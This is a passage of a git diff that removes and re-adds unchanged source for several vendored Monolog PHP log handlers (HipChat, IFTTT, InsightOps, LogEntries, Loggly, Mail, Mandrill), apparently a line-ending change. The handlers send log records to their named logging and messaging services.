static::MAXIMUM_MESSAGE_LENGTH).' [truncated]'; - } - } - - // if we are using the legacy API then we need to send some additional information - if ($this->version == self::API_V1) { - $dataArray['room_id'] = $this->room; - } - - // append the sender name if it is set - // always append it if we use the v1 api (it is required in v1) - if ($this->version == self::API_V1 || $this->name !== null) { - $dataArray['from'] = (string) $this->name; - } - - return http_build_query($dataArray); - } - - /** - * Builds the header of the API Call - * - * @param string $content - * @return string - */ - private function buildHeader($content) - { - if ($this->version == self::API_V1) { - $header = "POST /v1/rooms/message?format=json&auth_token={$this->token} HTTP/1.1\r\n"; - } else { - // needed for rooms with special (spaces, etc) characters in the name - $room = rawurlencode($this->room); - $header = "POST /v2/room/{$room}/notification?auth_token={$this->token} HTTP/1.1\r\n"; - } - - $header .= "Host: {$this->host}\r\n"; - $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; - $header .= "Content-Length: " . strlen($content) . "\r\n"; - $header .= "\r\n"; - - return $header; - } - - /** - * Assigns a color to each level of log records. - * - * @param int $level - * @return string - */ - protected function getAlertColor($level) - { - switch (true) { - case $level >= Logger::ERROR: - return 'red'; - case $level >= Logger::WARNING: - return 'yellow'; - case $level >= Logger::INFO: - return 'green'; - case $level == Logger::DEBUG: - return 'gray'; - default: - return 'yellow'; - } - } - - /** - * {@inheritdoc} - * - * @param array $record - */ - protected function write(array $record) - { - parent::write($record); - $this->finalizeWrite(); - } - - /** - * Finalizes the request by reading some bytes and then closing the socket - * - * If we do not read some but close the socket too early, hipchat sometimes - * drops the request entirely. - */ - protected function finalizeWrite() - { - $res = $this->getResource(); - if (is_resource($res)) { - @fread($res, 2048); - } - $this->closeSocket(); - } - - /** - * {@inheritdoc} - */ - public function handleBatch(array $records) - { - if (count($records) == 0) { - return true; - } - - $batchRecords = $this->combineRecords($records); - - $handled = false; - foreach ($batchRecords as $batchRecord) { - if ($this->isHandling($batchRecord)) { - $this->write($batchRecord); - $handled = true; - } - } - - if (!$handled) { - return false; - } - - return false === $this->bubble; - } - - /** - * Combines multiple records into one. Error level of the combined record - * will be the highest level from the given records. Datetime will be taken - * from the first record. - * - * @param array $records - * @return array - */ - private function combineRecords(array $records) - { - $batchRecord = null; - $batchRecords = array(); - $messages = array(); - $formattedMessages = array(); - $level = 0; - $levelName = null; - $datetime = null; - - foreach ($records as $record) { - $record = $this->processRecord($record); - - if ($record['level'] > $level) { - $level = $record['level']; - $levelName = $record['level_name']; - } - - if (null === $datetime) { - $datetime = $record['datetime']; - } - - $messages[] = $record['message']; - $messageStr = implode(PHP_EOL, $messages); - $formattedMessages[] = $this->getFormatter()->format($record); - $formattedMessageStr = implode('', $formattedMessages); - - $batchRecord = array( - 'message' => $messageStr, - 'formatted' => $formattedMessageStr, - 'context' => array(), - 'extra' => array(), - ); - - if (!$this->validateStringLength($batchRecord['formatted'], static::MAXIMUM_MESSAGE_LENGTH)) { - // Pop the last message and implode the remaining messages - $lastMessage = array_pop($messages); - $lastFormattedMessage = array_pop($formattedMessages); - $batchRecord['message'] = implode(PHP_EOL, $messages); - $batchRecord['formatted'] = implode('', $formattedMessages); - - $batchRecords[] = $batchRecord; - $messages = array($lastMessage); - $formattedMessages = array($lastFormattedMessage); - - $batchRecord = null; - } - } - - if (null !== $batchRecord) { - $batchRecords[] = $batchRecord; - } - - // Set the max level and datetime for all records - foreach ($batchRecords as &$batchRecord) { - $batchRecord = array_merge( - $batchRecord, - array( - 'level' => $level, - 'level_name' => $levelName, - 'datetime' => $datetime, - ) - ); - } - - return $batchRecords; - } - - /** - * Validates the length of a string. - * - * If the `mb_strlen()` function is available, it will use that, as HipChat - * allows UTF-8 characters. Otherwise, it will fall back to `strlen()`. - * - * Note that this might cause false failures in the specific case of using - * a valid name with less than 16 characters, but 16 or more bytes, on a - * system where `mb_strlen()` is unavailable. - * - * @param string $str - * @param int $length - * - * @return bool - */ - private function validateStringLength($str, $length) - { - if (function_exists('mb_strlen')) { - return (mb_strlen($str) <= $length); - } - - return (strlen($str) <= $length); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; + +/** + * Sends notifications through the hipchat api to a hipchat room + * + * Notes: + * API token - HipChat API token + * Room - HipChat Room Id or name, where messages are sent + * Name - Name used to send the message (from) + * notify - Should the message trigger a notification in the clients + * version - The API version to use (HipChatHandler::API_V1 | HipChatHandler::API_V2) + * + * @author Rafael Dohms + * @see https://www.hipchat.com/docs/api + */ +class HipChatHandler extends SocketHandler +{ + /** + * Use API version 1 + */ + const API_V1 = 'v1'; + + /** + * Use API version v2 + */ + const API_V2 = 'v2'; + + /** + * The maximum allowed length for the name used in the "from" field. + */ + const MAXIMUM_NAME_LENGTH = 15; + + /** + * The maximum allowed length for the message. + */ + const MAXIMUM_MESSAGE_LENGTH = 9500; + + /** + * @var string + */ + private $token; + + /** + * @var string + */ + private $room; + + /** + * @var string + */ + private $name; + + /** + * @var bool + */ + private $notify; + + /** + * @var string + */ + private $format; + + /** + * @var string + */ + private $host; + + /** + * @var string + */ + private $version; + + /** + * @param string $token HipChat API Token + * @param string $room The room that should be alerted of the message (Id or Name) + * @param string $name Name used in the "from" field. + * @param bool $notify Trigger a notification in clients or not + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + * @param bool $useSSL Whether to connect via SSL. + * @param string $format The format of the messages (default to text, can be set to html if you have html in the messages) + * @param string $host The HipChat server hostname. + * @param string $version The HipChat API version (default HipChatHandler::API_V1) + */ + public function __construct($token, $room, $name = 'Monolog', $notify = false, $level = Logger::CRITICAL, $bubble = true, $useSSL = true, $format = 'text', $host = 'api.hipchat.com', $version = self::API_V1) + { + @trigger_error('The Monolog\Handler\HipChatHandler class is deprecated. You should migrate to Slack and the SlackWebhookHandler / SlackbotHandler, see https://www.atlassian.com/partnerships/slack', E_USER_DEPRECATED); + + if ($version == self::API_V1 && !$this->validateStringLength($name, static::MAXIMUM_NAME_LENGTH)) { + throw new \InvalidArgumentException('The supplied name is too long. HipChat\'s v1 API supports names up to 15 UTF-8 characters.'); + } + + $connectionString = $useSSL ? 'ssl://'.$host.':443' : $host.':80'; + parent::__construct($connectionString, $level, $bubble); + + $this->token = $token; + $this->name = $name; + $this->notify = $notify; + $this->room = $room; + $this->format = $format; + $this->host = $host; + $this->version = $version; + } + + /** + * {@inheritdoc} + * + * @param array $record + * @return string + */ + protected function generateDataStream($record) + { + $content = $this->buildContent($record); + + return $this->buildHeader($content) . $content; + } + + /** + * Builds the body of API call + * + * @param array $record + * @return string + */ + private function buildContent($record) + { + $dataArray = array( + 'notify' => $this->version == self::API_V1 ? + ($this->notify ? 1 : 0) : + ($this->notify ? 'true' : 'false'), + 'message' => $record['formatted'], + 'message_format' => $this->format, + 'color' => $this->getAlertColor($record['level']), + ); + + if (!$this->validateStringLength($dataArray['message'], static::MAXIMUM_MESSAGE_LENGTH)) { + if (function_exists('mb_substr')) { + $dataArray['message'] = mb_substr($dataArray['message'], 0, static::MAXIMUM_MESSAGE_LENGTH).' [truncated]'; + } else { + $dataArray['message'] = substr($dataArray['message'], 0, static::MAXIMUM_MESSAGE_LENGTH).' [truncated]'; + } + } + + // if we are using the legacy API then we need to send some additional information + if ($this->version == self::API_V1) { + $dataArray['room_id'] = $this->room; + } + + // append the sender name if it is set + // always append it if we use the v1 api (it is required in v1) + if ($this->version == self::API_V1 || $this->name !== null) { + $dataArray['from'] = (string) $this->name; + } + + return http_build_query($dataArray); + } + + /** + * Builds the header of the API Call + * + * @param string $content + * @return string + */ + private function buildHeader($content) + { + if ($this->version == self::API_V1) { + $header = "POST /v1/rooms/message?format=json&auth_token={$this->token} HTTP/1.1\r\n"; + } else { + // needed for rooms with special (spaces, etc) characters in the name + $room = rawurlencode($this->room); + $header = "POST /v2/room/{$room}/notification?auth_token={$this->token} HTTP/1.1\r\n"; + } + + $header .= "Host: {$this->host}\r\n"; + $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; + $header .= "Content-Length: " . strlen($content) . "\r\n"; + $header .= "\r\n"; + + return $header; + } + + /** + * Assigns a color to each level of log records. + * + * @param int $level + * @return string + */ + protected function getAlertColor($level) + { + switch (true) { + case $level >= Logger::ERROR: + return 'red'; + case $level >= Logger::WARNING: + return 'yellow'; + case $level >= Logger::INFO: + return 'green'; + case $level == Logger::DEBUG: + return 'gray'; + default: + return 'yellow'; + } + } + + /** + * {@inheritdoc} + * + * @param array $record + */ + protected function write(array $record) + { + parent::write($record); + $this->finalizeWrite(); + } + + /** + * Finalizes the request by reading some bytes and then closing the socket + * + * If we do not read some but close the socket too early, hipchat sometimes + * drops the request entirely. + */ + protected function finalizeWrite() + { + $res = $this->getResource(); + if (is_resource($res)) { + @fread($res, 2048); + } + $this->closeSocket(); + } + + /** + * {@inheritdoc} + */ + public function handleBatch(array $records) + { + if (count($records) == 0) { + return true; + } + + $batchRecords = $this->combineRecords($records); + + $handled = false; + foreach ($batchRecords as $batchRecord) { + if ($this->isHandling($batchRecord)) { + $this->write($batchRecord); + $handled = true; + } + } + + if (!$handled) { + return false; + } + + return false === $this->bubble; + } + + /** + * Combines multiple records into one. Error level of the combined record + * will be the highest level from the given records. Datetime will be taken + * from the first record. + * + * @param array $records + * @return array + */ + private function combineRecords(array $records) + { + $batchRecord = null; + $batchRecords = array(); + $messages = array(); + $formattedMessages = array(); + $level = 0; + $levelName = null; + $datetime = null; + + foreach ($records as $record) { + $record = $this->processRecord($record); + + if ($record['level'] > $level) { + $level = $record['level']; + $levelName = $record['level_name']; + } + + if (null === $datetime) { + $datetime = $record['datetime']; + } + + $messages[] = $record['message']; + $messageStr = implode(PHP_EOL, $messages); + $formattedMessages[] = $this->getFormatter()->format($record); + $formattedMessageStr = implode('', $formattedMessages); + + $batchRecord = array( + 'message' => $messageStr, + 'formatted' => $formattedMessageStr, + 'context' => array(), + 'extra' => array(), + ); + + if (!$this->validateStringLength($batchRecord['formatted'], static::MAXIMUM_MESSAGE_LENGTH)) { + // Pop the last message and implode the remaining messages + $lastMessage = array_pop($messages); + $lastFormattedMessage = array_pop($formattedMessages); + $batchRecord['message'] = implode(PHP_EOL, $messages); + $batchRecord['formatted'] = implode('', $formattedMessages); + + $batchRecords[] = $batchRecord; + $messages = array($lastMessage); + $formattedMessages = array($lastFormattedMessage); + + $batchRecord = null; + } + } + + if (null !== $batchRecord) { + $batchRecords[] = $batchRecord; + } + + // Set the max level and datetime for all records + foreach ($batchRecords as &$batchRecord) { + $batchRecord = array_merge( + $batchRecord, + array( + 'level' => $level, + 'level_name' => $levelName, + 'datetime' => $datetime, + ) + ); + } + + return $batchRecords; + } + + /** + * Validates the length of a string. + * + * If the `mb_strlen()` function is available, it will use that, as HipChat + * allows UTF-8 characters. Otherwise, it will fall back to `strlen()`. + * + * Note that this might cause false failures in the specific case of using + * a valid name with less than 16 characters, but 16 or more bytes, on a + * system where `mb_strlen()` is unavailable. + * + * @param string $str + * @param int $length + * + * @return bool + */ + private function validateStringLength($str, $length) + { + if (function_exists('mb_strlen')) { + return (mb_strlen($str) <= $length); + } + + return (strlen($str) <= $length); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/IFTTTHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/IFTTTHandler.php index 487c5da373..f4d3b97eb8 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/IFTTTHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/IFTTTHandler.php @@ -1,70 +1,70 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\Utils; - -/** - * IFTTTHandler uses cURL to trigger IFTTT Maker actions - * - * Register a secret key and trigger/event name at https://ifttt.com/maker - * - * value1 will be the channel from monolog's Logger constructor, - * value2 will be the level name (ERROR, WARNING, ..) - * value3 will be the log record's message - * - * @author Nehal Patel - */ -class IFTTTHandler extends AbstractProcessingHandler -{ - private $eventName; - private $secretKey; - - /** - * @param string $eventName The name of the IFTTT Maker event that should be triggered - * @param string $secretKey A valid IFTTT secret key - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - */ - public function __construct($eventName, $secretKey, $level = Logger::ERROR, $bubble = true) - { - $this->eventName = $eventName; - $this->secretKey = $secretKey; - - parent::__construct($level, $bubble); - } - - /** - * {@inheritdoc} - */ - public function write(array $record) - { - $postData = array( - "value1" => $record["channel"], - "value2" => $record["level_name"], - "value3" => $record["message"], - ); - $postString = Utils::jsonEncode($postData); - - $ch = curl_init(); - curl_setopt($ch, CURLOPT_URL, "https://maker.ifttt.com/trigger/" . $this->eventName . "/with/key/" . $this->secretKey); - curl_setopt($ch, CURLOPT_POST, true); - curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); - curl_setopt($ch, CURLOPT_POSTFIELDS, $postString); - curl_setopt($ch, CURLOPT_HTTPHEADER, array( - "Content-Type: application/json", - )); - - Curl\Util::execute($ch); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Monolog\Utils; + +/** + * IFTTTHandler uses cURL to trigger IFTTT Maker actions + * + * Register a secret key and trigger/event name at https://ifttt.com/maker + * + * value1 will be the channel from monolog's Logger constructor, + * value2 will be the level name (ERROR, WARNING, ..) + * value3 will be the log record's message + * + * @author Nehal Patel + */ +class IFTTTHandler extends AbstractProcessingHandler +{ + private $eventName; + private $secretKey; + + /** + * @param string $eventName The name of the IFTTT Maker event that should be triggered + * @param string $secretKey A valid IFTTT secret key + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + */ + public function __construct($eventName, $secretKey, $level = Logger::ERROR, $bubble = true) + { + $this->eventName = $eventName; + $this->secretKey = $secretKey; + + parent::__construct($level, $bubble); + } + + /** + * {@inheritdoc} + */ + public function write(array $record) + { + $postData = array( + "value1" => $record["channel"], + "value2" => $record["level_name"], + "value3" => $record["message"], + ); + $postString = Utils::jsonEncode($postData); + + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, "https://maker.ifttt.com/trigger/" . $this->eventName . "/with/key/" . $this->secretKey); + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $postString); + curl_setopt($ch, CURLOPT_HTTPHEADER, array( + "Content-Type: application/json", + )); + + Curl\Util::execute($ch); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/InsightOpsHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/InsightOpsHandler.php index 680c7e6b17..8f683dce53 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/InsightOpsHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/InsightOpsHandler.php @@ -1,62 +1,62 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - - namespace Monolog\Handler; - - use Monolog\Logger; - -/** - * Inspired on LogEntriesHandler. - * - * @author Robert Kaufmann III - * @author Gabriel Machado - */ -class InsightOpsHandler extends SocketHandler -{ - /** - * @var string - */ - protected $logToken; - - /** - * @param string $token Log token supplied by InsightOps - * @param string $region Region where InsightOps account is hosted. Could be 'us' or 'eu'. - * @param bool $useSSL Whether or not SSL encryption should be used - * @param int $level The minimum logging level to trigger this handler - * @param bool $bubble Whether or not messages that are handled should bubble up the stack. - * - * @throws MissingExtensionException If SSL encryption is set to true and OpenSSL is missing - */ - public function __construct($token, $region = 'us', $useSSL = true, $level = Logger::DEBUG, $bubble = true) - { - if ($useSSL && !extension_loaded('openssl')) { - throw new MissingExtensionException('The OpenSSL PHP plugin is required to use SSL encrypted connection for InsightOpsHandler'); - } - - $endpoint = $useSSL - ? 'ssl://' . $region . '.data.logs.insight.rapid7.com:443' - : $region . '.data.logs.insight.rapid7.com:80'; - - parent::__construct($endpoint, $level, $bubble); - $this->logToken = $token; - } - - /** - * {@inheritdoc} - * - * @param array $record - * @return string - */ - protected function generateDataStream($record) - { - return $this->logToken . ' ' . $record['formatted']; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + + namespace Monolog\Handler; + + use Monolog\Logger; + +/** + * Inspired on LogEntriesHandler. + * + * @author Robert Kaufmann III + * @author Gabriel Machado + */ +class InsightOpsHandler extends SocketHandler +{ + /** + * @var string + */ + protected $logToken; + + /** + * @param string $token Log token supplied by InsightOps + * @param string $region Region where InsightOps account is hosted. Could be 'us' or 'eu'. + * @param bool $useSSL Whether or not SSL encryption should be used + * @param int $level The minimum logging level to trigger this handler + * @param bool $bubble Whether or not messages that are handled should bubble up the stack. + * + * @throws MissingExtensionException If SSL encryption is set to true and OpenSSL is missing + */ + public function __construct($token, $region = 'us', $useSSL = true, $level = Logger::DEBUG, $bubble = true) + { + if ($useSSL && !extension_loaded('openssl')) { + throw new MissingExtensionException('The OpenSSL PHP plugin is required to use SSL encrypted connection for InsightOpsHandler'); + } + + $endpoint = $useSSL + ? 'ssl://' . $region . '.data.logs.insight.rapid7.com:443' + : $region . '.data.logs.insight.rapid7.com:80'; + + parent::__construct($endpoint, $level, $bubble); + $this->logToken = $token; + } + + /** + * {@inheritdoc} + * + * @param array $record + * @return string + */ + protected function generateDataStream($record) + { + return $this->logToken . ' ' . $record['formatted']; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/LogEntriesHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/LogEntriesHandler.php index fd5d3eda15..ea89fb3ed6 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/LogEntriesHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/LogEntriesHandler.php @@ -1,55 +1,55 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; - -/** - * @author Robert Kaufmann III - */ -class LogEntriesHandler extends SocketHandler -{ - /** - * @var string - */ - protected $logToken; - - /** - * @param string $token Log token supplied by LogEntries - * @param bool $useSSL Whether or not SSL encryption should be used. - * @param int $level The minimum logging level to trigger this handler - * @param bool $bubble Whether or not messages that are handled should bubble up the stack. - * - * @throws MissingExtensionException If SSL encryption is set to true and OpenSSL is missing - */ - public function __construct($token, $useSSL = true, $level = Logger::DEBUG, $bubble = true, $host = 'data.logentries.com') - { - if ($useSSL && !extension_loaded('openssl')) { - throw new MissingExtensionException('The OpenSSL PHP plugin is required to use SSL encrypted connection for LogEntriesHandler'); - } - - $endpoint = $useSSL ? 'ssl://' . $host . ':443' : $host . ':80'; - parent::__construct($endpoint, $level, $bubble); - $this->logToken = $token; - } - - /** - * {@inheritdoc} - * - * @param array $record - * @return string - */ - protected function generateDataStream($record) - { - return $this->logToken . ' ' . $record['formatted']; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; + +/** + * @author Robert Kaufmann III + */ +class LogEntriesHandler extends SocketHandler +{ + /** + * @var string + */ + protected $logToken; + + /** + * @param string $token Log token supplied by LogEntries + * @param bool $useSSL Whether or not SSL encryption should be used. + * @param int $level The minimum logging level to trigger this handler + * @param bool $bubble Whether or not messages that are handled should bubble up the stack. + * + * @throws MissingExtensionException If SSL encryption is set to true and OpenSSL is missing + */ + public function __construct($token, $useSSL = true, $level = Logger::DEBUG, $bubble = true, $host = 'data.logentries.com') + { + if ($useSSL && !extension_loaded('openssl')) { + throw new MissingExtensionException('The OpenSSL PHP plugin is required to use SSL encrypted connection for LogEntriesHandler'); + } + + $endpoint = $useSSL ? 'ssl://' . $host . ':443' : $host . ':80'; + parent::__construct($endpoint, $level, $bubble); + $this->logToken = $token; + } + + /** + * {@inheritdoc} + * + * @param array $record + * @return string + */ + protected function generateDataStream($record) + { + return $this->logToken . ' ' . $record['formatted']; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/LogglyHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/LogglyHandler.php index 59ccbe59cc..bcd62e1c55 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/LogglyHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/LogglyHandler.php @@ -1,102 +1,102 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\Formatter\LogglyFormatter; - -/** - * Sends errors to Loggly. - * - * @author Przemek Sobstel - * @author Adam Pancutt - * @author Gregory Barchard - */ -class LogglyHandler extends AbstractProcessingHandler -{ - const HOST = 'logs-01.loggly.com'; - const ENDPOINT_SINGLE = 'inputs'; - const ENDPOINT_BATCH = 'bulk'; - - protected $token; - - protected $tag = array(); - - public function __construct($token, $level = Logger::DEBUG, $bubble = true) - { - if (!extension_loaded('curl')) { - throw new \LogicException('The curl extension is needed to use the LogglyHandler'); - } - - $this->token = $token; - - parent::__construct($level, $bubble); - } - - public function setTag($tag) - { - $tag = !empty($tag) ? $tag : array(); - $this->tag = is_array($tag) ? $tag : array($tag); - } - - public function addTag($tag) - { - if (!empty($tag)) { - $tag = is_array($tag) ? $tag : array($tag); - $this->tag = array_unique(array_merge($this->tag, $tag)); - } - } - - protected function write(array $record) - { - $this->send($record["formatted"], self::ENDPOINT_SINGLE); - } - - public function handleBatch(array $records) - { - $level = $this->level; - - $records = array_filter($records, function ($record) use ($level) { - return ($record['level'] >= $level); - }); - - if ($records) { - $this->send($this->getFormatter()->formatBatch($records), self::ENDPOINT_BATCH); - } - } - - protected function send($data, $endpoint) - { - $url = sprintf("https://%s/%s/%s/", self::HOST, $endpoint, $this->token); - - $headers = array('Content-Type: application/json'); - - if (!empty($this->tag)) { - $headers[] = 'X-LOGGLY-TAG: '.implode(',', $this->tag); - } - - $ch = curl_init(); - - curl_setopt($ch, CURLOPT_URL, $url); - curl_setopt($ch, CURLOPT_POST, true); - curl_setopt($ch, CURLOPT_POSTFIELDS, $data); - curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); - curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); - - Curl\Util::execute($ch); - } - - protected function getDefaultFormatter() - { - return new LogglyFormatter(); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Monolog\Formatter\LogglyFormatter; + +/** + * Sends errors to Loggly. + * + * @author Przemek Sobstel + * @author Adam Pancutt + * @author Gregory Barchard + */ +class LogglyHandler extends AbstractProcessingHandler +{ + const HOST = 'logs-01.loggly.com'; + const ENDPOINT_SINGLE = 'inputs'; + const ENDPOINT_BATCH = 'bulk'; + + protected $token; + + protected $tag = array(); + + public function __construct($token, $level = Logger::DEBUG, $bubble = true) + { + if (!extension_loaded('curl')) { + throw new \LogicException('The curl extension is needed to use the LogglyHandler'); + } + + $this->token = $token; + + parent::__construct($level, $bubble); + } + + public function setTag($tag) + { + $tag = !empty($tag) ? $tag : array(); + $this->tag = is_array($tag) ? $tag : array($tag); + } + + public function addTag($tag) + { + if (!empty($tag)) { + $tag = is_array($tag) ? $tag : array($tag); + $this->tag = array_unique(array_merge($this->tag, $tag)); + } + } + + protected function write(array $record) + { + $this->send($record["formatted"], self::ENDPOINT_SINGLE); + } + + public function handleBatch(array $records) + { + $level = $this->level; + + $records = array_filter($records, function ($record) use ($level) { + return ($record['level'] >= $level); + }); + + if ($records) { + $this->send($this->getFormatter()->formatBatch($records), self::ENDPOINT_BATCH); + } + } + + protected function send($data, $endpoint) + { + $url = sprintf("https://%s/%s/%s/", self::HOST, $endpoint, $this->token); + + $headers = array('Content-Type: application/json'); + + if (!empty($this->tag)) { + $headers[] = 'X-LOGGLY-TAG: '.implode(',', $this->tag); + } + + $ch = curl_init(); + + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $data); + curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + + Curl\Util::execute($ch); + } + + protected function getDefaultFormatter() + { + return new LogglyFormatter(); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/MailHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/MailHandler.php index 41d2e8b2ed..9e23283852 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/MailHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/MailHandler.php @@ -1,67 +1,67 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -/** - * Base class for all mail handlers - * - * @author Gyula Sallai - */ -abstract class MailHandler extends AbstractProcessingHandler -{ - /** - * {@inheritdoc} - */ - public function handleBatch(array $records) - { - $messages = array(); - - foreach ($records as $record) { - if ($record['level'] < $this->level) { - continue; - } - $messages[] = $this->processRecord($record); - } - - if (!empty($messages)) { - $this->send((string) $this->getFormatter()->formatBatch($messages), $messages); - } - } - - /** - * Send a mail with the given content - * - * @param string $content formatted email body to be sent - * @param array $records the array of log records that formed this content - */ - abstract protected function send($content, array $records); - - /** - * {@inheritdoc} - */ - protected function write(array $record) - { - $this->send((string) $record['formatted'], array($record)); - } - - protected function getHighestRecord(array $records) - { - $highestRecord = null; - foreach ($records as $record) { - if ($highestRecord === null || $highestRecord['level'] < $record['level']) { - $highestRecord = $record; - } - } - - return $highestRecord; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +/** + * Base class for all mail handlers + * + * @author Gyula Sallai + */ +abstract class MailHandler extends AbstractProcessingHandler +{ + /** + * {@inheritdoc} + */ + public function handleBatch(array $records) + { + $messages = array(); + + foreach ($records as $record) { + if ($record['level'] < $this->level) { + continue; + } + $messages[] = $this->processRecord($record); + } + + if (!empty($messages)) { + $this->send((string) $this->getFormatter()->formatBatch($messages), $messages); + } + } + + /** + * Send a mail with the given content + * + * @param string $content formatted email body to be sent + * @param array $records the array of log records that formed this content + */ + abstract protected function send($content, array $records); + + /** + * {@inheritdoc} + */ + protected function write(array $record) + { + $this->send((string) $record['formatted'], array($record)); + } + + protected function getHighestRecord(array $records) + { + $highestRecord = null; + foreach ($records as $record) { + if ($highestRecord === null || $highestRecord['level'] < $record['level']) { + $highestRecord = $record; + } + } + + return $highestRecord; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/MandrillHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/MandrillHandler.php index 91adae634c..3f0956a9c8 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/MandrillHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/MandrillHandler.php @@ -1,68 +1,68 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; - -/** - * MandrillHandler uses cURL to send the emails to the Mandrill API - * - * @author Adam Nicholson - */ -class MandrillHandler extends MailHandler -{ - protected $message; - protected $apiKey; - - /** - * @param string $apiKey A valid Mandrill API key - * @param callable|\Swift_Message $message An example message for real messages, only the body will be replaced - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - */ - public function __construct($apiKey, $message, $level = Logger::ERROR, $bubble = true) - { - parent::__construct($level, $bubble); - - if (!$message instanceof \Swift_Message && is_callable($message)) { - $message = call_user_func($message); - } - if (!$message instanceof \Swift_Message) { - throw new \InvalidArgumentException('You must provide either a Swift_Message instance or a callable returning it'); - } - $this->message = $message; - $this->apiKey = $apiKey; - } - - /** - * {@inheritdoc} - */ - protected function send($content, array $records) - { - $message = clone $this->message; - $message->setBody($content); - $message->setDate(time()); - - $ch = curl_init(); - - curl_setopt($ch, CURLOPT_URL, 'https://mandrillapp.com/api/1.0/messages/send-raw.json'); - curl_setopt($ch, CURLOPT_POST, 1); - curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); - curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array( - 'key' => $this->apiKey, - 'raw_message' => (string) $message, - 'async' => false, - ))); - - Curl\Util::execute($ch); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; + +/** + * MandrillHandler uses cURL to send the emails to the Mandrill API + * + * @author Adam Nicholson + */ +class MandrillHandler extends MailHandler +{ + protected $message; + protected $apiKey; + + /** + * @param string $apiKey A valid Mandrill API key + * @param callable|\Swift_Message $message An example message for real messages, only the body will be replaced + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + */ + public function __construct($apiKey, $message, $level = Logger::ERROR, $bubble = true) + { + parent::__construct($level, $bubble); + + if (!$message instanceof \Swift_Message && is_callable($message)) { + $message = call_user_func($message); + } + if (!$message instanceof \Swift_Message) { + throw new \InvalidArgumentException('You must provide either a Swift_Message instance or a callable returning it'); + } + $this->message = $message; + $this->apiKey = $apiKey; + } + + /** + * {@inheritdoc} + */ + protected function send($content, array $records) + { + $message = clone $this->message; + $message->setBody($content); + $message->setDate(time()); + + $ch = curl_init(); + + curl_setopt($ch, CURLOPT_URL, 'https://mandrillapp.com/api/1.0/messages/send-raw.json'); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array( + 'key' => $this->apiKey, + 'raw_message' => (string) $message, + 'async' => false, + ))); + + Curl\Util::execute($ch); + } +} diff --git 